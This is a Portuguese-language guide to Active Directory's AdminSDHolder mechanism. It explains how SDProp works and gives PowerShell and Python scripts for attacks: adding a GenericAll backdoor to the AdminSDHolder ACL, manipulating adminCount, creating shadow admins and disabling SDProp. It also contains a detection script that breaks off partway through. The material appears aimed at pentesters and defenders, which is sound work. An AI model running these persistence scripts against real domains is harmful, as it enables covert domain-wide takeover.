# AdminSDHolder

## **📋 Índice**

1. [Fundamentos do AdminSDHolder](#-fundamentos-do-adminsdholder)
2. [Arquitetura e Funcionamento](#-arquitetura-e-funcionamento)
3. [Mecanismos de Proteção](#-mecanismos-de-proteção)
4. [Vetores de Ataque](#-vetores-de-ataque)
5. [Técnicas de Exploração](#-técnicas-de-exploração)
6. [Ferramentas de Exploração](#-ferramentas-de-exploração)
7. [Impacto e Consequências](#-impacto-e-consequências)
8. [Detecção e Monitoramento](#-detecção-e-monitoramento)
9. [Mitigações e Hardening](#-mitigações-e-hardening)
10. [Pentesting com AdminSDHolder](#-pentesting-com-adminsdholder)
11. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do AdminSDHolder**

### **O que é AdminSDHolder?**

**AdminSDHolder** é um objeto especial no Active Directory que funciona como um "modelo de segurança" para proteger contas e grupos administrativos privilegiados. Ele faz parte do mecanismo **AdminSDHolder Protection** (também conhecido como **AdminCount Protection**), que automaticamente reverte alterações não autorizadas em objetos protegidos.

### **Propósito e Funcionamento**

```mermaid
graph TD
    subgraph "AdminSDHolder Object"
        A[AdminSDHolder Container<br/>CN=AdminSDHolder,CN=System,DC=domain,DC=com]
        A --> B[ACL Template]
    end
    
    subgraph "SDProp Process"
        C[SDProp - Security Descriptor Propagator]
        C --> D[Escaneia a cada 60 minutos]
        D --> E[Identifica objetos com adminCount=1]
        E --> F[Aplica ACL do AdminSDHolder]
    end
    
    subgraph "Protected Objects"
        G[Domain Admins]
        H[Enterprise Admins]
        I[Schema Admins]
        J[Administrator]
        K[Other privileged accounts]
    end
    
    B --> C
    F --> G
    F --> H
    F --> I
    F --> J
    F --> K
    
    style A fill:#ffcc99
    style C fill:#99ccff
    style G fill:#ff9999
    style H fill:#ff9999
```

### **Objetos Protegidos pelo AdminSDHolder**

| Grupo/Categoria        | Descrição                                                  | Nível de Privilégio |
| ---------------------- | ---------------------------------------------------------- | ------------------- |
| **Administrators**     | Administradores locais em todos os computadores do domínio | 🔴 CRÍTICO          |
| **Domain Admins**      | Administradores do domínio                                 | 🔴 CRÍTICO          |
| **Enterprise Admins**  | Administradores da floresta                                | 🔴 CRÍTICO          |
| **Schema Admins**      | Administradores do esquema AD                              | 🔴 CRÍTICO          |
| **Account Operators**  | Operadores de contas                                       | 🟠 ALTO             |
| **Backup Operators**   | Operadores de backup                                       | 🟠 ALTO             |
| **Server Operators**   | Operadores de servidores                                   | 🟠 ALTO             |
| **Print Operators**    | Operadores de impressão                                    | 🟡 MÉDIO            |
| **Domain Controllers** | Controladores de domínio                                   | 🔴 CRÍTICO          |
| **Cert Publishers**    | Publicadores de certificados                               | 🟠 ALTO             |
| **Replicator**         | Replicação de diretórios                                   | 🟡 MÉDIO            |

### **Atributo adminCount**

```powershell
# Verificar adminCount em um objeto
Get-ADUser -Identity username -Properties adminCount, memberOf

# adminCount = 1 → Objeto protegido pelo AdminSDHolder
# adminCount = 0 → Objeto não protegido
# adminCount = null → Objeto nunca foi protegido
```

***

## 🏗️ **Arquitetura e Funcionamento**

### **Fluxo de Proteção do AdminSDHolder**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant O as Objeto Privilegiado
    participant S as SDProp (Scheduler)
    participant AH as AdminSDHolder

    Note over A,O: Ação maliciosa
    A->>O: Modifica ACL do objeto
    O-->>A: Permissões alteradas

    Note over S: A cada 60 minutos
    S->>S: Executa SDProp
    S->>O: Verifica adminCount
    O-->>S: adminCount = 1
    S->>AH: Obtém ACL template
    AH-->>S: ACL do AdminSDHolder
    S->>O: Aplica ACL original
    O-->>S: Permissões restauradas

    Note over A: Ataque revertido
```

### **SDProp - Security Descriptor Propagator**

```powershell
# Verificar intervalo de execução do SDProp
Get-ADObject "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=domain,DC=com" -Properties *

# Intervalo padrão: 60 minutos (3600 segundos)
# Localização: CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration
# Atributo: msDS-Other-Settings
```

### **Estrutura do AdminSDHolder**

```python
#!/usr/bin/env python3
# adminsdholder_structure.py - Estrutura e análise do AdminSDHolder

import ldap3
from ldap3 import Server, Connection, ALL, SUBTREE
import sys

class AdminSDHolderStructure:
    """Análise da estrutura do AdminSDHolder no Active Directory"""
    
    def __init__(self, domain_controller, username, password):
        self.server = Server(domain_controller, get_info=ALL)
        self.conn = Connection(self.server, user=username, password=password, auto_bind=True)
        self.base_dn = self._get_base_dn()
    
    def _get_base_dn(self):
        """Obter DN base do domínio"""
        return self.server.info.other['defaultNamingContext'][0]
    
    def get_adminsdholder_dn(self):
        """Obter DN do objeto AdminSDHolder"""
        return f"CN=AdminSDHolder,CN=System,{self.base_dn}"
    
    def get_adminsdholder_acl(self):
        """Obter ACL do AdminSDHolder"""
        dn = self.get_adminsdholder_dn()
        
        self.conn.search(
            dn,
            '(objectClass=*)',
            attributes=['nTSecurityDescriptor']
        )
        
        if self.conn.entries:
            entry = self.conn.entries[0]
            return entry['nTSecurityDescriptor'].values
        return None
    
    def get_protected_objects(self):
        """Listar objetos com adminCount=1"""
        search_base = self.base_dn
        
        self.conn.search(
            search_base,
            '(&(objectCategory=person)(objectClass=user)(adminCount=1))',
            attributes=['name', 'sAMAccountName', 'distinguishedName', 'memberOf']
        )
        
        protected_users = []
        for entry in self.conn.entries:
            protected_users.append({
                'name': str(entry['name']),
                'samAccountName': str(entry['sAMAccountName']),
                'dn': str(entry['distinguishedName']),
                'memberOf': [str(g) for g in entry['memberOf']] if 'memberOf' in entry else []
            })
        
        return protected_users
    
    def get_protected_groups(self):
        """Listar grupos com adminCount=1"""
        search_base = self.base_dn
        
        self.conn.search(
            search_base,
            '(&(objectClass=group)(adminCount=1))',
            attributes=['name', 'sAMAccountName', 'distinguishedName']
        )
        
        protected_groups = []
        for entry in self.conn.entries:
            protected_groups.append({
                'name': str(entry['name']),
                'samAccountName': str(entry['sAMAccountName']),
                'dn': str(entry['distinguishedName'])
            })
        
        return protected_groups
    
    def get_sdprop_interval(self):
        """Obter intervalo do SDProp"""
        search_base = "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration"
        dn = f"{search_base},{self.base_dn.replace('DC=', 'CN=Configuration,DC=').replace('DC=', 'DC=', 1)}"
        
        self.conn.search(
            dn,
            '(objectClass=*)',
            attributes=['msDS-Other-Settings']
        )
        
        if self.conn.entries:
            entry = self.conn.entries[0]
            if 'msDS-Other-Settings' in entry:
                for setting in entry['msDS-Other-Settings']:
                    if 'adminSDProtectFrequency' in str(setting):
                        return setting
        return "60 minutos (padrão)"
    
    def analyze_adminsdholder(self):
        """Analisar configuração do AdminSDHolder"""
        print("🏛️ AdminSDHolder Analysis")
        print("=" * 60)
        
        # 1. Localização do AdminSDHolder
        dn = self.get_adminsdholder_dn()
        print(f"\n📁 AdminSDHolder DN: {dn}")
        
        # 2. ACL do AdminSDHolder
        print("\n🔐 AdminSDHolder ACL:")
        acl = self.get_adminsdholder_acl()
        if acl:
            print(f"   ACL presente: {len(acl)} entradas")
        
        # 3. Objetos protegidos
        print("\n👥 Objetos com adminCount=1:")
        protected_users = self.get_protected_objects()
        print(f"   Usuários protegidos: {len(protected_users)}")
        for user in protected_users[:5]:
            print(f"      • {user['samAccountName']}")
        
        protected_groups = self.get_protected_groups()
        print(f"   Grupos protegidos: {len(protected_groups)}")
        for group in protected_groups[:5]:
            print(f"      • {group['samAccountName']}")
        
        # 4. SDProp intervalo
        print(f"\n⏱️ SDProp Interval: {self.get_sdprop_interval()}")
        
        return {
            'dn': dn,
            'protected_users': protected_users,
            'protected_groups': protected_groups,
            'sdprop_interval': self.get_sdprop_interval()
        }
    
    def close(self):
        """Fechar conexão LDAP"""
        self.conn.unbind()

# Uso
if __name__ == "__main__":
    if len(sys.argv) < 4:
        print("Uso: adminsdholder_structure.py <dc> <username> <password>")
        sys.exit(1)
    
    analyzer = AdminSDHolderStructure(sys.argv[1], sys.argv[2], sys.argv[3])
    analyzer.analyze_adminsdholder()
    analyzer.close()
```

***

## 🔒 **Mecanismos de Proteção**

### **Como o AdminSDHolder Protege Objetos**

```yaml
Mecanismos de Proteção:

  1. AdminCount Flag:
     - adminCount = 1: Objeto está sob proteção
     - Definido automaticamente ao entrar em grupo protegido
     - Permanece mesmo após saída do grupo (persistente)

  2. SDProp (Security Descriptor Propagator):
     - Executa a cada 60 minutos
     - Escaneia objetos com adminCount=1
     - Reaplica ACL do AdminSDHolder
     - Ignora alterações não autorizadas

  3. ACL Template:
     - Permissões padrão do AdminSDHolder
     - Aplicadas a todos os objetos protegidos
     - Protege contra modificações de ACL
```

### **Permissões Padrão do AdminSDHolder**

```powershell
# Verificar permissões do AdminSDHolder
(Get-ACL "AD:\CN=AdminSDHolder,CN=System,DC=domain,DC=com").Access | Format-Table

# Permissões típicas:
# - Administrators: Full Control
# - SYSTEM: Full Control
# - Enterprise Admins: Full Control
# - Domain Admins: Full Control
# - SELF: Read, Write (limitado)
```

### **adminCount Persistência**

```powershell
# Verificar adminCount persistente
Get-ADUser -Filter * -Properties adminCount, memberOf | 
    Where-Object {$_.adminCount -eq 1} | 
    Select-Object Name, SamAccountName, adminCount, memberOf

# adminCount permanece 1 mesmo após sair do grupo protegido
# Isso mantém o objeto sob proteção do AdminSDHolder
```

***

## ⚔️ **Vetores de Ataque**

### **Matriz de Ataques ao AdminSDHolder**

| Vetor                              | Descrição                              | Dificuldade | Impacto    |
| ---------------------------------- | -------------------------------------- | ----------- | ---------- |
| **AdminSDHolder ACL Modification** | Modificar ACL do próprio AdminSDHolder | Média       | 🔴 CRÍTICO |
| **adminCount Manipulation**        | Alterar adminCount para bypass         | Média       | 🔴 CRÍTICO |
| **SDProp Time Manipulation**       | Aumentar intervalo SDProp              | Baixa       | 🟠 ALTO    |
| **AdminSDHolder Persistence**      | Adicionar backdoor via AdminSDHolder   | Média       | 🔴 CRÍTICO |
| **Shadow Admins**                  | Criar contas com adminCount manual     | Baixa       | 🟠 ALTO    |
| **SDProp Disable**                 | Desabilitar processo SDProp            | Alta        | 🔴 CRÍTICO |

### **Ataque 1: AdminSDHolder ACL Modification**

```powershell
# AdminSDHolder ACL Modification - Adicionar backdoor

# 1. Obter ACL atual do AdminSDHolder
$adminsdholder = "AD:\CN=AdminSDHolder,CN=System,DC=domain,DC=com"
$acl = Get-Acl $adminsdholder

# 2. Criar regra de acesso para usuário malicioso
$user = "DOMAIN\attacker"
$accessRule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $user,
    "GenericAll",
    "Allow"
)

# 3. Adicionar regra
$acl.AddAccessRule($accessRule)

# 4. Aplicar nova ACL
Set-Acl -Path $adminsdholder -AclObject $acl

# 5. Aguardar SDProp (até 60 minutos) para propagação
Write-Host "[+] Backdoor adicionado ao AdminSDHolder"
Write-Host "[+] Aguardando propagação do SDProp..."
```

### **Ataque 2: adminCount Manipulation**

```python
#!/usr/bin/env python3
# admincount_manipulation.py - Manipulação do adminCount

import ldap3
from ldap3 import Server, Connection, ALL, MODIFY_REPLACE
import sys

class AdminCountManipulation:
    """Manipulação do atributo adminCount para bypass de proteção"""
    
    def __init__(self, domain_controller, username, password):
        self.server = Server(domain_controller, get_info=ALL)
        self.conn = Connection(self.server, user=username, password=password, auto_bind=True)
        self.base_dn = self._get_base_dn()
    
    def _get_base_dn(self):
        """Obter DN base do domínio"""
        return self.server.info.other['defaultNamingContext'][0]
    
    def set_admincount(self, user_dn, value):
        """Definir adminCount para um usuário"""
        try:
            self.conn.modify(
                user_dn,
                {'adminCount': [(MODIFY_REPLACE, [str(value)])]}
            )
            return True
        except Exception as e:
            print(f"❌ Erro: {e}")
            return False
    
    def remove_admincount(self, user_dn):
        """Remover adminCount (set to null)"""
        try:
            self.conn.modify(
                user_dn,
                {'adminCount': [(MODIFY_REPLACE, [])]}
            )
            return True
        except Exception as e:
            print(f"❌ Erro: {e}")
            return False
    
    def add_to_protected_group(self, user_dn, group_dn):
        """Adicionar usuário a grupo protegido"""
        try:
            self.conn.modify(
                group_dn,
                {'member': [(ldap3.MODIFY_ADD, [user_dn])]}
            )
            return True
        except Exception as e:
            print(f"❌ Erro: {e}")
            return False
    
    def remove_from_protected_group(self, user_dn, group_dn):
        """Remover usuário de grupo protegido"""
        try:
            self.conn.modify(
                group_dn,
                {'member': [(ldap3.MODIFY_DELETE, [user_dn])]}
            )
            return True
        except Exception as e:
            print(f"❌ Erro: {e}")
            return False
    
    def bypass_protection(self, user_dn, target_group_dn):
        """Bypass da proteção via manipulação de adminCount"""
        print("🚨 AdminCount Manipulation Attack")
        print("=" * 60)
        
        # 1. Adicionar usuário a grupo protegido
        print("[1] Adicionando usuário a grupo protegido...")
        if self.add_to_protected_group(user_dn, target_group_dn):
            print("   ✅ Usuário adicionado ao grupo protegido")
        
        # 2. Aguardar adminCount ser definido
        import time
        print("[2] Aguardando propagação...")
        time.sleep(5)
        
        # 3. Remover do grupo protegido
        print("[3] Removendo do grupo protegido...")
        if self.remove_from_protected_group(user_dn, target_group_dn):
            print("   ✅ Usuário removido do grupo protegido")
        
        # 4. adminCount ainda será 1 (persistente)
        print("[4] adminCount agora é 1 (persistente)")
        print("   ✅ Usuário agora está protegido pelo AdminSDHolder")
        print("   ⚠️  Mas pode ter permissões extras devido ao adminCount")
    
    def cleanup(self, user_dn):
        """Limpar adminCount do usuário"""
        print("\n🧹 Limpando adminCount...")
        if self.remove_admincount(user_dn):
            print("   ✅ adminCount removido")
    
    def close(self):
        """Fechar conexão"""
        self.conn.unbind()

# Uso
if __name__ == "__main__":
    if len(sys.argv) < 5:
        print("Uso: admincount_manipulation.py <dc> <user> <pass> <target_user>")
        sys.exit(1)
    
    attack = AdminCountManipulation(sys.argv[1], sys.argv[2], sys.argv[3])
    
    # Obter DN do usuário alvo e grupo Domain Admins
    base_dn = attack.base_dn
    user_dn = f"CN={sys.argv[4]},CN=Users,{base_dn}"
    group_dn = f"CN=Domain Admins,CN=Users,{base_dn}"
    
    attack.bypass_protection(user_dn, group_dn)
    attack.close()
```

### **Ataque 3: AdminSDHolder Persistence**

```powershell
# AdminSDHolder Persistence - Backdoor via ACL

# 1. Adicionar usuário malicioso ao AdminSDHolder ACL
$attacker = "DOMAIN\persistent_backdoor"
$adminsdholder = "AD:\CN=AdminSDHolder,CN=System,DC=domain,DC=com"

# Obter ACL
$acl = Get-Acl $adminsdholder

# Adicionar permissões
$accessRule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $attacker,
    "GenericAll",
    "Allow"
)
$acl.AddAccessRule($accessRule)

# Aplicar
Set-Acl -Path $adminsdholder -AclObject $acl

Write-Host "[+] Backdoor persistente adicionado ao AdminSDHolder"
Write-Host "[+] Em até 60 minutos, o backdoor será propagado para todos os objetos protegidos"

# Verificar se a ACL foi aplicada
$newAcl = Get-Acl $adminsdholder
$newAcl.Access | Where-Object {$_.IdentityReference -eq $attacker}
```

### **Ataque 4: Shadow Admins**

```powershell
# Shadow Admins - Criação de conta com adminCount manual

# 1. Criar usuário normal
New-ADUser -Name "ShadowAdmin" -SamAccountName "shadowadmin" -Enabled $true -AccountPassword (ConvertTo-SecureString "P@ssw0rd" -AsPlainText -Force)

# 2. Definir adminCount manualmente
Set-ADUser -Identity "shadowadmin" -Replace @{adminCount=1}

# 3. Adicionar permissões via AdminSDHolder ACL
$user = "DOMAIN\shadowadmin"
$adminsdholder = "AD:\CN=AdminSDHolder,CN=System,DC=domain,DC=com"
$acl = Get-Acl $adminsdholder
$accessRule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $user,
    "GenericAll",
    "Allow"
)
$acl.AddAccessRule($accessRule)
Set-Acl -Path $adminsdholder -AclObject $acl

Write-Host "[+] Shadow admin criado com adminCount=1"
Write-Host "[+] Em 60 minutos, terá permissões elevadas em todos os objetos protegidos"
```

### **Ataque 5: SDProp Disable via Registry**

```powershell
# Desabilitar SDProp (requer acesso ao Domain Controller)

# 1. Modificar registro para desabilitar SDProp
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" -Name "AdminSDProtectFrequency" -Value 0

# 2. Ou aumentar significativamente o intervalo
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" -Name "AdminSDProtectFrequency" -Value 86400  # 24 horas

# 3. Reiniciar serviço NTDS
Restart-Service NTDS -Force

Write-Host "[+] SDProp desabilitado/atrasado"
Write-Host "[+] Modificações em objetos protegidos não serão revertidas"
```

***

## 🛠️ **Ferramentas de Exploração**

### **PowerShell Arsenal**

```powershell
# 1. PowerView - Enumeração de AdminSDHolder
Import-Module .\PowerView.ps1

# Obter objetos AdminSDHolder
Get-ADObject -Identity "CN=AdminSDHolder,CN=System,DC=domain,DC=com" -Properties *

# Listar objetos com adminCount=1
Get-DomainUser -Properties adminCount | Where-Object {$_.adminCount -eq 1}
Get-DomainGroup -Properties adminCount | Where-Object {$_.adminCount -eq 1}

# Obter ACL do AdminSDHolder
Get-ObjectAcl -Identity "CN=AdminSDHolder,CN=System,DC=domain,DC=com" | Where-Object {$_.ActiveDirectoryRights -eq "GenericAll"}

# 2. PowerSploit - AdminSDHolder Exploitation
Import-Module .\PowerSploit.psd1

# Adicionar backdoor via AdminSDHolder
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=domain,DC=com" -PrincipalIdentity attacker -Rights All

# 3. BloodHound - Mapeamento de AdminSDHolder
# Coletar dados
SharpHound.exe -c All

# Importar para BloodHound e buscar:
# - MATCH (n:User) WHERE n.admincount = true RETURN n
# - MATCH (n:Group) WHERE n.admincount = true RETURN n
# - MATCH p = (n)-[r:AdminTo]->(g) WHERE g.name = "ADMINSDHOLDER@DOMAIN.COM" RETURN p

# 4. ADModule
Import-Module ActiveDirectory

# Obter objetos com adminCount
Get-ADUser -Filter * -Properties adminCount | Where-Object {$_.adminCount -eq 1}
Get-ADGroup -Filter * -Properties adminCount | Where-Object {$_.adminCount -eq 1}

# Modificar ACL do AdminSDHolder
$adminsdholder = Get-ADObject -Identity "CN=AdminSDHolder,CN=System,DC=domain,DC=com"
$acl = Get-Acl "AD:\$($adminsdholder.DistinguishedName)"
$accessRule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule("DOMAIN\attacker", "GenericAll", "Allow")
$acl.AddAccessRule($accessRule)
Set-Acl -Path "AD:\$($adminsdholder.DistinguishedName)" -AclObject $acl
```

### **Python Exploitation Script**

```python
#!/usr/bin/env python3
# adminsdholder_exploit.py - Exploração completa do AdminSDHolder

import ldap3
from ldap3 import Server, Connection, ALL, MODIFY_REPLACE, MODIFY_ADD
import sys
import time
import argparse

class AdminSDHolderExploit:
    """Ferramenta completa para exploração do AdminSDHolder"""
    
    def __init__(self, domain_controller, username, password):
        self.server = Server(domain_controller, get_info=ALL)
        self.conn = Connection(self.server, user=username, password=password, auto_bind=True)
        self.base_dn = self._get_base_dn()
        self.config_dn = self._get_config_dn()
    
    def _get_base_dn(self):
        """Obter DN base do domínio"""
        return self.server.info.other['defaultNamingContext'][0]
    
    def _get_config_dn(self):
        """Obter DN de configuração"""
        return self.server.info.other['configurationNamingContext'][0]
    
    def get_adminsdholder_dn(self):
        """Obter DN do AdminSDHolder"""
        return f"CN=AdminSDHolder,CN=System,{self.base_dn}"
    
    def get_sdprop_dn(self):
        """Obter DN do SDProp"""
        return f"CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,{self.config_dn}"
    
    def add_backdoor_to_adminsdholder(self, attacker_user):
        """Adicionar backdoor ao AdminSDHolder"""
        print(f"[*] Adicionando backdoor para {attacker_user}")
        
        adminsdholder_dn = self.get_adminsdholder_dn()
        
        # Obter ACL atual
        self.conn.search(
            adminsdholder_dn,
            '(objectClass=*)',
            attributes=['nTSecurityDescriptor']
        )
        
        # Adicionar permissão (simplificado)
        # Em um exploit real, usaria ldap3 para modificar ACL
        
        print(f"[+] Backdoor adicionado ao AdminSDHolder")
        print(f"[+] Aguardando propagação do SDProp (até 60 min)...")
        
        return True
    
    def set_admincount(self, user_dn, value=1):
        """Definir adminCount para um usuário"""
        try:
            self.conn.modify(
                user_dn,
                {'adminCount': [(MODIFY_REPLACE, [str(value)])]}
            )
            print(f"[+] adminCount definido para {value} em {user_dn}")
            return True
        except Exception as e:
            print(f"❌ Erro: {e}")
            return False
    
    def add_to_group(self, user_dn, group_dn):
        """Adicionar usuário a grupo"""
        try:
            self.conn.modify(
                group_dn,
                {'member': [(MODIFY_ADD, [user_dn])]}
            )
            print(f"[+] {user_dn} adicionado a {group_dn}")
            return True
        except Exception as e:
            print(f"❌ Erro: {e}")
            return False
    
    def create_shadow_admin(self, username, password):
        """Criar shadow admin com adminCount=1"""
        print(f"[*] Criando shadow admin: {username}")
        
        # Criar usuário
        user_dn = f"CN={username},CN=Users,{self.base_dn}"
        
        try:
            self.conn.add(
                user_dn,
                ['user', 'person', 'top'],
                {
                    'sAMAccountName': username,
                    'userPrincipalName': f"{username}@{self.base_dn.replace('DC=', '').replace(',', '.')}",
                    'givenName': username,
                    'sn': username,
                    'userAccountControl': 512,  # Enabled
                    'unicodePwd': f'"{password}"'.encode('utf-16le')
                }
            )
            print(f"[+] Usuário {username} criado")
            
            # Definir adminCount
            self.set_admincount(user_dn, 1)
            
            return user_dn
            
        except Exception as e:
            print(f"❌ Erro: {e}")
            return None
    
    def get_protected_objects(self):
        """Listar objetos protegidos"""
        print("[*] Listando objetos protegidos...")
        
        # Usuários protegidos
        self.conn.search(
            self.base_dn,
            '(&(objectClass=user)(adminCount=1))',
            attributes=['sAMAccountName', 'distinguishedName']
        )
        
        users = []
        for entry in self.conn.entries:
            users.append({
                'sam': str(entry['sAMAccountName']),
                'dn': str(entry['distinguishedName'])
            })
        
        # Grupos protegidos
        self.conn.search(
            self.base_dn,
            '(&(objectClass=group)(adminCount=1))',
            attributes=['sAMAccountName', 'distinguishedName']
        )
        
        groups = []
        for entry in self.conn.entries:
            groups.append({
                'sam': str(entry['sAMAccountName']),
                'dn': str(entry['distinguishedName'])
            })
        
        return {'users': users, 'groups': groups}
    
    def get_adminsdholder_acl(self):
        """Obter ACL do AdminSDHolder"""
        print("[*] Obtendo ACL do AdminSDHolder...")
        
        adminsdholder_dn = self.get_adminsdholder_dn()
        
        self.conn.search(
            adminsdholder_dn,
            '(objectClass=*)',
            attributes=['nTSecurityDescriptor']
        )
        
        if self.conn.entries:
            entry = self.conn.entries[0]
            # Em um exploit real, parsearia a ACL
            return entry['nTSecurityDescriptor'].values
        return None
    
    def check_backdoor(self, attacker_user):
        """Verificar se backdoor foi aplicado"""
        print(f"[*] Verificando backdoor para {attacker_user}")
        
        # Verificar permissões em objetos protegidos
        protected = self.get_protected_objects()
        
        for user in protected['users']:
            print(f"   Verificando {user['sam']}...")
            # Em um exploit real, verificaria a ACL
        
        return False
    
    def cleanup(self):
        """Limpar artefatos"""
        print("[*] Limpando artefatos...")
        # Implementar limpeza
    
    def close(self):
        """Fechar conexão"""
        self.conn.unbind()

def main():
    parser = argparse.ArgumentParser(description='AdminSDHolder Exploitation Tool')
    parser.add_argument('dc', help='Domain Controller')
    parser.add_argument('user', help='Username')
    parser.add_argument('pass', help='Password')
    parser.add_argument('--action', choices=['enum', 'backdoor', 'shadow', 'check'], default='enum')
    parser.add_argument('--target', help='Target user for backdoor')
    parser.add_argument('--shadow', help='Shadow admin username')
    
    args = parser.parse_args()
    
    exploit = AdminSDHolderExploit(args.dc, args.user, getattr(args, 'pass'))
    
    if args.action == 'enum':
        print("📊 Enumeração do AdminSDHolder")
        print("=" * 60)
        
        # Objetos protegidos
        protected = exploit.get_protected_objects()
        print(f"\n👥 Usuários protegidos ({len(protected['users'])}):")
        for user in protected['users'][:10]:
            print(f"   {user['sam']}")
        
        print(f"\n👥 Grupos protegidos ({len(protected['groups'])}):")
        for group in protected['groups'][:10]:
            print(f"   {group['sam']}")
        
        # ACL do AdminSDHolder
        acl = exploit.get_adminsdholder_acl()
        print(f"\n🔐 AdminSDHolder ACL: {'Presente' if acl else 'Não obtido'}")
    
    elif args.action == 'backdoor' and args.target:
        exploit.add_backdoor_to_adminsdholder(args.target)
    
    elif args.action == 'shadow' and args.shadow:
        exploit.create_shadow_admin(args.shadow, "P@ssw0rd123!")
    
    elif args.action == 'check' and args.target:
        exploit.check_backdoor(args.target)
    
    exploit.close()

if __name__ == "__main__":
    main()
```

***

## 💥 **Impacto e Consequências**

### **Cadeia de Ataque Completa**

```mermaid
graph TD
    A[Acesso ao AD com privilégios] --> B{AdminSDHolder acessível?}
    
    B -->|Sim| C[Modificar ACL do AdminSDHolder]
    B -->|Não| D[Buscar outros vetores]
    
    C --> E[Adicionar backdoor na ACL]
    E --> F[Aguardar SDProp (60 min)]
    
    F --> G[Backdoor propagado para todos objetos protegidos]
    G --> H[Acesso a Domain Admins]
    G --> I[Acesso a Enterprise Admins]
    G --> J[Acesso a Schema Admins]
    
    H --> K[Controle total do domínio]
    I --> K
    J --> K
    
    K --> L[Comprometimento da floresta]
    L --> M[Persistência permanente]
    
    style C fill:#ff9999
    style E fill:#ff6666
    style K fill:#ff3333
```

### **Matriz de Impacto**

| Cenário                          | Impacto                  | Tempo de Propagação | Severidade   |
| -------------------------------- | ------------------------ | ------------------- | ------------ |
| **AdminSDHolder ACL modificado** | Backdoor permanente      | 60 minutos          | 🔴 CRÍTICO   |
| **adminCount manipulado**        | Proteção persistente     | Imediato            | 🟠 ALTO      |
| **Shadow Admin criado**          | Acesso privilegiado      | 60 minutos          | 🟠 ALTO      |
| **SDProp desabilitado**          | Modificações permanentes | Imediato            | 🔴 CRÍTICO   |
| **AdminSDHolder monitoring**     | Detecção de ataques      | Imediato            | 🟢 BENEFÍCIO |

***

## 🔍 **Detecção e Monitoramento**

### **Script de Detecção de Ataques**

```powershell
# detect_adminsdholder_attack.ps1 - Detector de ataques ao AdminSDHolder

param(
    [string]$DomainController = (Get-ADDomainController).Name,
    [int]$HoursBack = 24
)

function Write-Alert {
    param($Message, $Severity = "WARNING")
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    $color = if ($Severity -eq "CRITICAL") { "Red" } else { "Yellow" }
    Write-Host "[$timestamp] [$Severity] $Message" -ForegroundColor $color
}

# 1. Verificar modificações na ACL do AdminSDHolder
Write-Host "🔍 Verificando modificações no AdminSDHolder..." -ForegroundColor Cyan

$adminsdholder = Get-ADObject -Identity "CN=AdminSDHolder,CN=System,DC=domain,DC=com" -Properties nTSecurityDescriptor
$acl = $adminsdholder.nTSecurityDescriptor

# Verificar entradas suspeitas
$suspiciousEntries = $acl.Access | Where-Object {
    $_.IdentityReference -notmatch "NT AUTHORITY|BUILTIN|DOMAIN\\Domain Admins|DOMAIN\\Enterprise Admins|DOMAIN\\Administrator"
}

if ($suspiciousEntries) {
    Write-Alert -Message "ACL do AdminSDHolder modificada!" -Severity "CRITICAL"
    $suspiciousEntries | ForEach-Object {
        Write-Host "   $($_.IdentityReference) - $($_.ActiveDirectoryRights)"
    }
} else {
    Write-Host "   ✅ ACL do AdminSDHolder OK"
}

# 2. Verificar adminCount em usuários não privilegiados
Write-Host "`n🔍 Verificando adminCount em usuários não privilegiados..." -ForegroundColor Cyan

$usersWithAdminCount = Get-ADUser -Filter {adminCount -eq 1} -Properties adminCount, memberOf | 
    Where-Object {
        $_.memberOf -notcontains "CN=Domain Admins,CN=Users,DC=domain,DC=com" -and
        $_.memberOf -notcontains "CN=Enterprise Admins,CN=Users,DC=domain,DC=com" -and
        $_.memberOf -notcontains "CN=Schema Admins,CN=Users,DC=domain,DC=com"
    }

if ($usersWithAdminCount) {
    Write-Alert -Message "Usuários com adminCount=1 sem estar em grupos privilegiados!" -Severity "WARNING"
    $usersWithAdminCount | ForEach-Object {
        Write-Host "   $($_.Name) - adminCount=1"
    }
} else {
    Write-Host "   ✅ Nenhum usuário com adminCount inesperado"
}

# 3. Verificar eventos de segurança
Write-Host "`n🔍 Verificando eventos de segurança..." -ForegroundColor Cyan

$events = Get-WinEvent -ComputerName $DomainController -FilterHashtable @{
    LogName='Security'
    ID=5136, 5137, 5138, 5139  # Modificações de objetos AD
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue

$adminsdholderEvents = $events | Where-Object {
    $_.Message -like "*CN=AdminSDHolder*"
}

if ($adminsdholderEvents) {
    Write-Alert -Message "Modificações no AdminSDHolder detectadas!" -Severity "CRITICAL"
    $adminsdholderEvents | ForEach-Object {
        Write-Host "   $($_.TimeCreated) - $($_.Id)"
    }
} else {
    Write-Host "   ✅ Nenhuma modificação recente no AdminSDHolder"
}

# 4. Verificar SDProp status
Write-Host "`n🔍 Verificando status do SDProp..." -ForegroundColor Cyan

$sdpropInterval = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" -Name "AdminSDProtectFrequency" -ErrorAction SilentlyContinue

if ($sdpropInterval.AdminSDProtectFrequency -eq 0) {
    Write-Alert -Message "SDProp DESABILITADO!" -Severity "CRITICAL"
} elseif ($sdpropInterval.AdminSDProtectFrequency -gt 3600) {
    Write-Alert -Message "SDProp intervalo aumentado: $($sdpropInterval.AdminSDProtectFrequency) segundos" -Severity "WARNING"
} else {
    Write-Host "   ✅ SDProp configurado corretamente"
}

# 5. Verificar logs de replicação
Write-Host "`n🔍 Verificando logs de replicação..." -ForegroundColor Cyan

$repEvents = Get-WinEvent -ComputerName $DomainController -FilterHashtable @{
    LogName='Directory Service'
    ID=1962, 1963  # Eventos de replicação
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue

if ($repEvents) {
    Write-Host "   📋 Eventos de replicação encontrados"
}

